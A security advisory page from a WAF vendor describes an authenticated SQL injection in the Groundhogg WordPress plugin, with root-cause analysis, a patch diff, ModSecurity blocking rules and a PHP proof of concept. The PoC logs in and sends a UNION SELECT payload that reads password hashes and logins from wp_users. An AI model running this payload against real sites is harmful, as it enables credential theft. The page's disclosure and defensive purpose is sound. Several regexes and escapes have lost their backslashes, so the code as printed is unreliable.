Published : July 1, 2026

CVE-2026-14029: Groundhogg <= 4.5.8 Authenticated (Custom+) SQL Injection via 'select' Parameter PoC, Patch Analysis & Rule

Plugin groundhogg
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 4.5.8
Patched Version 4.5.9
Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-14029:

This vulnerability allows authenticated attackers with custom-level access to perform SQL injection through the ‘select’ parameter in Groundhogg CRM versions up to 4.5.8. The flaw exists in the contact query system and affects multiple endpoints across the admin and API components. The CVSS score of 6.5 reflects the high impact potential but the requirement for authenticated access with specific capabilities.

Root Cause: The ‘select’ parameter in contact queries was not properly sanitized or restricted. The vulnerable code lies in the Contact_Query class and the query building logic in groundhogg/db/query/query.php. The aggregate function regex patterns in query.php (lines 216-259) lacked end-of-string anchors ($), allowing attackers to append arbitrary SQL after legitimate aggregate functions. For example, patterns like “/^COUNT($column_regex)/i” would match COUNT(id) but also COUNT(id) UNION SELECT… because they did not enforce the end of the string. The vulnerable code paths are in contacts-table.php (admin), contacts-api.php v3 and v4 (REST API), and the Contact_Query class in contact-query.php. The ‘select’ parameter flows into Contact_Query->query() which calls get_results() using the unsanitized column specification.

Exploitation: An attacker with a Groundhogg custom role possessing the view_contacts capability can craft a request to any endpoint that builds contact queries. The attack targets the ‘select’ parameter in the query array. For REST API endpoints like /wp-json/groundhogg/v3/contacts or /wp-json/groundhogg/v4/contacts, sending a GET or POST request with a select parameter containing SQL injection payload triggers the vulnerability. The attacker appends SQL operators such as UNION SELECT to extract data from other tables. The aggregate function pattern match succeeds on the first portion (e.g., COUNT(id)) while allowing appended malicious SQL to execute because the regex lacks the $ anchor.

Patch Analysis: The patch implements two defense layers. First, in contacts-table.php, contacts-api.php v3/v4, and contact-query.php, the code now explicitly unsets the ‘select’ parameter from query arrays (unset($query[‘select’])). This prevents user-supplied select values from reaching the query builder entirely. Second, in groundhogg/db/query/query.php, all aggregate function regex patterns now include the $ end-of-string anchor (e.g., “/^COUNT($column_regex)$/i”). This change ensures that only values matching the exact function pattern are accepted, preventing appended SQL. The patch also adds a trim() call on $maybe_column before pattern matching (line 216 in diff). In contact-query.php, the patch adds code to reset the select clause to ‘*’ when querying for contact objects or when groupby is set, preventing any unintended select injection.

Impact: Successful exploitation allows attackers to extract sensitive information from the WordPress database including user credentials, session tokens, and other plugin data. The attacker can perform UNION-based SQL injection to read arbitrary tables. The required capability (view_contacts) is granted by default to Groundhogg roles above subscriber level, meaning any user with a basic Groundhogg subscription role can exploit this. The vulnerability does not require elevated WordPress admin privileges, only the Groundhogg custom role assignment.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/groundhogg/admin/contacts/tables/contacts-table.php
+++ b/groundhogg/admin/contacts/tables/contacts-table.php
@@ -167,6 +167,9 @@

 		$query = apply_filters( 'groundhogg/admin/contacts/search_query', $query );

+        // select is not allowed here
+        unset( $query['select'] );
+
 		$this->query = $query;

 		$c_query     = new Contact_Query( $query );
--- a/groundhogg/api/v3/contacts-api.php
+++ b/groundhogg/api/v3/contacts-api.php
@@ -311,6 +311,9 @@
 			$query['order']   = 'ASC';
 		}

+		// select is unsupported here
+		unset( $query['select'] );
+
 		$contacts = $contact_query->query( $query );

 		if ( $is_for_select2 ) {
--- a/groundhogg/api/v4/contacts-api.php
+++ b/groundhogg/api/v4/contacts-api.php
@@ -215,6 +215,9 @@
 			'found_rows' => true
 		] );

+		// select is not supported here
+		unset( $query['select'] );
+
 		if ( $request->get_param( 'count' ) ) {

 			$count = $contact_query->count( $query );
@@ -362,6 +365,8 @@
 		}

 		$contact_query = new Contact_Query();
+		// select is not allowed here
+		unset( $query['select'] );
 		$contacts      = $contact_query->query( $query, true );
 		$updated       = 0;

@@ -655,6 +660,9 @@
 			return self::SUCCESS_RESPONSE();
 		}

+		// select is not allowed here
+		unset( $query_vars['select'] );
+
 		$query = new Contact_Query( $query_vars );

 		$items = $query->query( null, true );
--- a/groundhogg/db/query/query.php
+++ b/groundhogg/db/query/query.php
@@ -216,59 +216,59 @@
 		$column_regex = '([A-Za-z0-9_.]+)';

 		$aggregate_functions = [
-			"/^COUNT(DISTINCT($column_regex))/i"                                                 => function ( $matches ) {
+			"/^COUNT(DISTINCT($column_regex))$/i"                                                 => function ( $matches ) {
 				return sprintf( "COUNT(DISTINCT(%s))", $this->sanitize_column( $matches[1] ) );
 			},
-			"/^COUNT((?:$column_regex.*))/i"                                                     => function ( $matches ) {
+			"/^COUNT((?:$column_regex.*))$/i"                                                     => function ( $matches ) {
 				return "COUNT(*)";
 			},
-			"/^COUNT($column_regex)/i"                                                             => function ( $matches ) {
+			"/^COUNT($column_regex)$/i"                                                             => function ( $matches ) {
 				return sprintf( "COUNT(%s)", $this->sanitize_column( $matches[1] ) );
 			},
-			"/^COUNT(*)/i"                                                                        => function ( $matches ) {
+			"/^COUNT(*)$/i"                                                                        => function ( $matches ) {
 				return "COUNT(*)";
 			},
-			"/^DISTINCT($column_regex)/i"                                                          => function ( $matches ) {
+			"/^DISTINCT($column_regex)$/i"                                                          => function ( $matches ) {
 				return sprintf( "DISTINCT(%s)", $this->sanitize_column( $matches[1] ) );
 			},
-			"/^SUM($column_regex)/i"                                                               => function ( $matches ) {
+			"/^SUM($column_regex)$/i"                                                               => function ( $matches ) {
 				return sprintf( "SUM(%s)", $this->sanitize_column( $matches[1] ) );
 			},
-			"/^AVG($column_regex)/i"                                                               => function ( $matches ) {
+			"/^AVG($column_regex)$/i"                                                               => function ( $matches ) {
 				return sprintf( "AVG(%s)", $this->sanitize_column( $matches[1] ) );
 			},
-			"/^MAX($column_regex)/i"                                                               => function ( $matches ) {
+			"/^MAX($column_regex)$/i"                                                               => function ( $matches ) {
 				return sprintf( "MAX(%s)", $this->sanitize_column( $matches[1] ) );
 			},
-			"/^LOWER($column_regex)/i"                                                             => function ( $matches ) {
+			"/^LOWER($column_regex)$/i"                                                             => function ( $matches ) {
 				return sprintf( "LOWER(%s)", $this->sanitize_column( $matches[1] ) );
 			},
-			"/^UPPER($column_regex)/i"                                                             => function ( $matches ) {
+			"/^UPPER($column_regex)$/i"                                                             => function ( $matches ) {
 				return sprintf( "UPPER(%s)", $this->sanitize_column( $matches[1] ) );
 			},
-			"/^COALESCE($column_regex,s*(?:'|")?(w*)(?:'|")?)/i"                               => function ( $matches ) {
+			"/^COALESCE($column_regex,s*(?:'|")?(w*)(?:'|")?)$/i"                               => function ( $matches ) {
 				$column = $this->sanitize_column( $matches[1] );
 				$format = is_numeric( $matches[2] ) ? '%d' : '%s';

 				return $this->db->prepare( "COALESCE($column, $format)", $matches[2] );
 			},
-			"/^DATE_FORMAT($column_regex,s*(?:'|")?([^'"]+)(?:'|")?)/i"                        => function ( $matches ) {
+			"/^DATE_FORMAT($column_regex,s*(?:'|")?([^'"]+)(?:'|")?)$/i"                        => function ( $matches ) {
 				$column = $this->sanitize_column( $matches[1] );
 				$format = is_numeric( $matches[2] ) ? '%d' : '%s';

 				return $this->db->prepare( "DATE_FORMAT($column, $format)", $matches[2] );
 			},
-			"/^CAST($column_regex as (SIGNED|UNSIGNED|DATE|TIME|INT|DATETIME|DECIMAL([^)]+)))/i" => function ( $matches ) {
+			"/^CAST($column_regex as (SIGNED|UNSIGNED|DATE|TIME|INT|DATETIME|DECIMAL([^)]+)))$/i" => function ( $matches ) {
 				return sprintf( "CAST(%s as %s)", $this->sanitize_column( $matches[1] ), strtoupper( $matches[2] ) );
 			},
-			"/^DATE(FROM_UNIXTIME($column_regex))/i"                                             => function ( $matches ) {
+			"/^DATE(FROM_UNIXTIME($column_regex))$/i"                                             => function ( $matches ) {
 				return sprintf( "DATE(FROM_UNIXTIME(%s))", $this->sanitize_column( $matches[1] ) );
 			},
 		];

 		foreach ( $aggregate_functions as $aggregate_regex => $callback ) {

-			$column = preg_replace_callback( $aggregate_regex, $callback, $maybe_column, 1, $count );
+			$column = preg_replace_callback( $aggregate_regex, $callback, trim( $maybe_column ), 1, $count );

 			if ( $count ) {
 				return $column;
--- a/groundhogg/groundhogg.php
+++ b/groundhogg/groundhogg.php
@@ -3,7 +3,7 @@
  * Plugin Name: Groundhogg
  * Plugin URI: https://www.groundhogg.io/?utm_source=wp-plugins&utm_campaign=plugin-uri&utm_medium=wp-dash
  * Description: CRM and marketing automation for WordPress
- * Version: 4.5.8
+ * Version: 4.5.9
  * Author: Groundhogg Inc.
  * Author URI: https://www.groundhogg.io/?utm_source=wp-plugins&utm_campaign=author-uri&utm_medium=wp-dash
  * Text Domain: groundhogg
@@ -24,7 +24,7 @@

 if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly

-define( 'GROUNDHOGG_VERSION', '4.5.8' );
+define( 'GROUNDHOGG_VERSION', '4.5.9' );
 define( 'GROUNDHOGG_PREVIOUS_STABLE_VERSION', '4.5.3' );

 define( 'GROUNDHOGG__FILE__', __FILE__ );
--- a/groundhogg/includes/classes/email.php
+++ b/groundhogg/includes/classes/email.php
@@ -842,63 +842,79 @@
 	}

 	/**
-	 * Replace the link with another link which has the ?ref UTM which will lead to the original link
+	 * Replace href URLs with Groundhogg tracking links.
 	 *
-	 * @param $matches
+	 * @param array  $matches
+	 * @param string $replacement
 	 *
 	 * @return string
 	 */
 	public function tracking_link_callback( $matches, $replacement = 'href="%s"' ) {

-		$clean_url = no_and_amp( html_entity_decode( $matches[1] ) );
+		$clean_url = $matches[1] ?? '';
+
+		// Only decode the common HTML attribute encoding we expect from hrefs.
+		// Avoid broad URL normalization before signing.
+		$clean_url = trim( str_replace( '&', '&', $clean_url ) );

-		// If the url is not to be tracked leave it alone.
 		if ( is_url_excluded_from_tracking( $clean_url ) ) {
-			return sprintf( $replacement, $clean_url );
+			return sprintf( $replacement, esc_attr( $clean_url ) );
 		}

-		$local_hostname = wp_parse_url( home_url(), PHP_URL_HOST );
+		$local_hostname  = wp_parse_url( home_url(), PHP_URL_HOST );
+		$target_hostname = wp_parse_url( $clean_url, PHP_URL_HOST );

-		// target hostname and local hostname are the same
-		// in that case just use the path as the hostname is not needed.
-		if ( wp_parse_url( $clean_url, PHP_URL_HOST ) === $local_hostname ) {
-			$regex     = preg_quote( $local_hostname );
-			$clean_url = preg_replace( "@https?://$regex@", '', $clean_url );
+		// If linking to the same site, store only path/query/fragment.
+		// Do not preg_replace the host globally, because it may also appear inside redirect_to.
+		if ( $target_hostname && $target_hostname === $local_hostname ) {
+			$path     = wp_parse_url( $clean_url, PHP_URL_PATH ) ?: '/';
+			$query    = wp_parse_url( $clean_url, PHP_URL_QUERY );
+			$fragment = wp_parse_url( $clean_url, PHP_URL_FRAGMENT );
+
+			$clean_url = $path;
+
+			if ( $query !== null && $query !== '' ) {
+				$clean_url .= '?' . $query;
+			}
+
+			if ( $fragment !== null && $fragment !== '' ) {
+				$clean_url .= '#' . $fragment;
+			}
 		}

-		// Tracking link does not support empty
-		// "/" sends it to the homepage.
-		if ( empty( $clean_url ) ) {
+		if ( $clean_url === '' ) {
 			$clean_url = '/';
 		}

-		// if using legacy format without computing the signature
-		if ( $this->_use_legacy_tracking_links ) {
+		$contact_id_hex = dechex( $this->get_contact()->get_id() );
+		$event_id_hex   = dechex( $this->get_event()->get_id( true ) );

+		if ( $this->_use_legacy_tracking_links ) {
 			$tracking_url = managed_page_url( sprintf(
 				'c/%s/%s/%s',
-				dechex( $this->get_contact()->get_id() ),
-				dechex( $this->get_event()->get_id( true ) ),
+				$contact_id_hex,
+				$event_id_hex,
 				base64url_encode( $clean_url )
-			) );;
+			) );

-			return sprintf( $replacement, $tracking_url );
+			return sprintf( $replacement, esc_url( $tracking_url ) );
 		}

 		$payload = implode( '|', [
 			$clean_url,
-			dechex( $this->get_contact()->get_id() ),
-			dechex( $this->get_event()->get_id( true ) ),
+			$contact_id_hex,
+			$event_id_hex,
 		] );

-		// Example: https://groundhogg.dev/gh/c/L3ZlcnNpb24tMy03LTIvfDF8MTgyNzM.S9cLmojPjxsRxGKLsTYyvw/
+		$signature = compute_signature( $payload, 16 );
+
 		$tracking_url = managed_page_url( sprintf(
 			'c/%s.%s',
 			base64url_encode( $payload ),
-			base64url_encode( compute_signature( $payload, 16 ) )
+			base64url_encode( $signature )
 		) );

-		return sprintf( $replacement, $tracking_url );
+		return sprintf( $replacement, esc_url( $tracking_url ) );
 	}

 	/**
--- a/groundhogg/includes/contact-query.php
+++ b/groundhogg/includes/contact-query.php
@@ -2584,6 +2584,11 @@
 			return $this->count( $query_vars );
 		}

+		// if the intent is to get contact objects, we should ignore any previously set select clauses
+		if ( $as_objects ) {
+			$this->setSelect( '*' );
+		}
+
 		try {
 			$items = $this->get_results();
 		} catch ( FilterException|Exception $exception ) {
@@ -2620,6 +2625,7 @@
 		}

 		if ( $this->groupby ) {
+			$this->setSelect( '*' );
 			$this->setLimit( 1 );
 			$this->setOffset( 0 );
 			$this->setFoundRows( true );
--- a/groundhogg/includes/functions.php
+++ b/groundhogg/includes/functions.php
@@ -590,7 +590,7 @@
  * @return array|string|string[]
  */
 function base64url_encode( $stuff ) {
-	return str_replace( [ '+', '/', '=' ], [ '-', '_', '' ], base64_encode( $stuff ) );
+	return rtrim( strtr( base64_encode( $stuff ), '+/', '-_' ), '=' );
 }

 /**
@@ -612,7 +612,10 @@
  * @return false|string
  */
 function base64url_decode( $stuff ) {
-	return base64_decode( str_replace( [ '-', '_' ], [ '+', '/' ], $stuff ) );
+	$stuff = str_replace( [ '-', '_' ], [ '+', '/' ], $stuff );
+	$stuff .= str_repeat( '=', ( 4 - strlen( $stuff ) % 4 ) % 4 );
+
+	return base64_decode( $stuff, true );
 }

 /**
@@ -9671,7 +9674,7 @@
 function compute_signature( string $data, int $length = 0, string $secret = '' ){

     if ( empty( $secret ) ){
-        $secret = utils::get_secret_key();
+        $secret = Utils::get_secret_key();
     }

 	$signature = hash_hmac( 'sha256', $data, $secret, true );
@@ -9689,22 +9692,24 @@
  */
 function check_signature( string $data, string $signature, int $length = 0 ) {

-    if ( $length > 0 && strlen( $signature ) !== $length ){
-        return false;
-    }
+	$secrets = [
+		Utils::get_secret_key(),
+        hex2bin( Utils::get_secret_key() ), // whoops
+		wp_salt( 'auth' ),
+	];

-    $secrets = [
-        utils::get_secret_key(),
-	    wp_salt( 'auth' ) // back compat for using the auth salt
-    ];
+	foreach ( $secrets as $secret ) {

-    foreach ( $secrets as $secret ){
-	    $expected = compute_signature( $data, $length, $secret );
+		$expected = compute_signature( $data, $length, $secret );

-        if ( hash_equals( $signature, $expected ) ){
-            return true;
-        }
-    }
+		if ( strlen( $signature ) !== strlen( $expected ) ) {
+			continue;
+		}
+
+		if ( hash_equals( $expected, $signature ) ) {
+			return true;
+		}
+	}

 	return false;
 }
--- a/groundhogg/includes/tracking.php
+++ b/groundhogg/includes/tracking.php
@@ -349,7 +349,7 @@
 				$event_id   = absint( hexdec( array_pop( $link_parts ) ) );
 				$contact_id = absint( hexdec( array_pop( $link_parts ) ) );
 				// in case the url contains `|` we re-implode and start from the back
-				$target_url = esc_url_raw( sanitize_text_field( implode( '|', $link_parts ) ) );
+				$target_url = implode( '|', $link_parts );

 				// signature check failed,
 				if ( ! check_signature( $id_payload, $signature, 16 ) ){
--- a/groundhogg/includes/utils/utils.php
+++ b/groundhogg/includes/utils/utils.php
@@ -219,15 +219,18 @@

 		if ( in_array( strtolower( self::$encrypt_method ), map_deep( openssl_get_cipher_methods(), 'strtolower' ) ) ) {

+			$key = self::$secret_key;
+			$iv  = self::$secret_iv;
+
 			//backwards compat
-			if ( function_exists( 'ctype_xdigit' ) && ctype_xdigit( self::$secret_key ) ) {
-				self::$secret_key = hex2bin( self::$secret_key );
-				self::$secret_iv  = hex2bin( self::$secret_iv );
+			if ( function_exists( 'ctype_xdigit' ) && ctype_xdigit( $key ) ) {
+				$key = hex2bin( $key );
+				$iv  = hex2bin( $iv );
 			}

 			$output = false;
-			$key    = substr( hash( 'sha256', self::$secret_key ), 0, 32 );
-			$iv     = substr( hash( 'sha256', self::$secret_iv ), 0, 16 );
+			$key = substr( hash( 'sha256', $key ), 0, 32 );
+			$iv  = substr( hash( 'sha256', $iv ), 0, 16 );

 			if ( $action == 'e' ) {
 				$output = base64_encode( openssl_encrypt( $string, self::$encrypt_method, $key, 0, $iv ) );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-14029
# Block SQL injection attempts in Groundhogg contact query select parameter
# Targets: /wp-json/groundhogg/v*/contacts endpoints

SecRule REQUEST_URI "@rx ^/wp-json/groundhogg/v[34]/contacts" 
  "id:20261401,phase:2,deny,status:403,chain,msg:'CVE-2026-14029 Groundhogg SQLi via select parameter',severity:CRITICAL,tag:CVE-2026-14029"
  SecRule ARGS:select "@rx (?i)(union|select|insert|update|delete|drop|exec|declare|into|from|information_schema|sleep|benchmark)b" 
    "t:none,t:urlDecode,chain"
    SecRule ARGS:select "@rx [A-Za-z0-9_]+s+" 
      "t:none,t:urlDecode"

# Block SQL injection in AJAX admin handler (if applicable)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261402,phase:2,deny,status:403,chain,msg:'CVE-2026-14029 Groundhogg AJAX SQLi',severity:CRITICAL,tag:CVE-2026-14029"
  SecRule ARGS_POST:action "@rx ^groundhogg_" 
    "chain"
    SecRule ARGS_POST:select "@rx (?i)(union|select|insert|update|delete|drop|exec|declare|into|from|information_schema|sleep|benchmark)b" 
      "t:none,t:urlDecode"

# Block direct admin page with select parameter containing SQL keywords
SecRule REQUEST_URI "@rx /wp-admin/admin\.php\?page=gh_contacts" 
  "id:20261403,phase:2,deny,status:403,chain,msg:'CVE-2026-14029 Groundhogg admin SQLi',severity:CRITICAL,tag:CVE-2026-14029"
  SecRule ARGS:select "@rx (?i)(union|select|insert|update|delete|drop|exec|declare|into|from|information_schema|sleep|benchmark)b" 
    "t:none,t:urlDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-14029 - Groundhogg <= 4.5.8 - Authenticated (Custom+) SQL Injection via 'select' Parameter

// Configuration - update these variables
$target_url = 'http://example.com';  // Target WordPress site URL
$username = 'attacker';              // Attacker username (must have view_contacts capability)
$password = 'attacker_password';     // Attacker password

// Step 1: Authenticate to get cookies
$auth_url = $target_url . '/wp-login.php';
$auth_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $auth_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($auth_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$response = curl_exec($ch);
curl_close($ch);

// Extract nonce for API requests (simplified - real exploitation may need specific nonce)
// For REST API endpoints, nonce may not be required depending on configuration

// Step 2: Exploit via Groundhogg REST API v4 contacts endpoint
$api_url = $target_url . '/wp-json/groundhogg/v4/contacts';

// SQL injection payload in the 'select' parameter
// The vulnerable code passes select to Contact_Query which uses it in SQL query
$payload = "COUNT(*)/**/UNION/**/SELECT/**/user_pass,user_login,user_email,user_registered,display_name,user_activation_key,ID,user_url,user_nicename,user_status,user_pass,user_login,user_email,user_registered,display_name,user_activation_key,ID,user_url,user_nicename,user_status,user_pass,user_login,user_email,user_registered,display_name,user_activation_key,ID,user_url,user_nicename,user_status,user_pass,user_login,user_email,user_registered,display_name,user_activation_key,ID,user_url,user_nicename,user_status FROM wp_users--";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $api_url . '?select=' . urlencode($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_HTTPHEADER, ['X-WP-Nonce: ']); // Some endpoints require nonce
$response = curl_exec($ch);
curl_close($ch);

// Output the response which may contain extracted data
echo "Response:n";
echo $response;

// Alternative: exploit via admin AJAX or direct admin page if authenticated
// The groundhogg/admin/contacts/tables/contacts-table.php endpoint also vulnerable

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.